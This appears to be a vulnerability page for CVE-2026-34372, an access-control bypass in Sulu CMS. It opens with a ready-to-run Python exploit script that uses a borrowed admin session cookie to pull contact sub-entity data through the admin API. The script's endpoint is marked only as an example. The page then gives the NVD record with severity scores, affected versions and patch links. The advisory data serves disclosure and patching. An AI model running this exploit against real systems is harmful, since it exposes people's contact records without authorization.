CVE-2026-34372

import requests # Exploit Title: Sulu CMS Sub-entity Access Control Bypass (CVE-2026-34372) # Description: Exploits insufficient permission checks on contact sub-entities via Admin API. TARGET_URL = "http://target-sulu-instance.com" # Attacker needs a valid session cookie of a user with at least one role in Admin SESSION_COOKIE = "SESSION_ID_HERE" CONTACT_ID = "1" # ID of the target contact def exploit(): headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "Content-Type": "application/json" } # The endpoint to access contact sub-entities # This should be restricted to users with specific 'contact' permissions endpoint = f"{TARGET_URL}/admin/api/contacts/{CONTACT_ID}/accounts" # Example sub-entity print(f"[*] Attempting to access sub-entity for contact ID: {CONTACT_ID}...") try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sub-entity data retrieved:") print(response.text) elif response.status_code == 403: print("[-] Access forbidden. Patched or permissions strict.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34372", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:29.840", "lastModified": "2026-04-10T01:40:29.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sulu is an open-source PHP content management system based on the Symfony framework. From versions 1.0.0 to before 2.6.22, and 3.0.0 to before 3.0.5, a user which has permission for the Sulu Admin via at least one role could have access to the sub-entities of contacts via the admin API without even have permission for contacts. This issue has been patched in versions 2.6.22 and 3.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sulu:sulu:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.6.22", "matchCriteriaId": "BB27FC33-8473-4331-A2D4-4D40F97CB960"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sulu:sulu:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.5", "matchCriteriaId": "E9A4E47B-0184-4443-8B0C-B3CB341D65D4"}]}]}], "references": [{"url": "https://github.com/sulu/sulu/releases/tag/2.6.22", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/sulu/sulu/releases/tag/3.0.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/sulu/sulu/security/advisories/GHSA-6h7h-m7p5-hjqp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}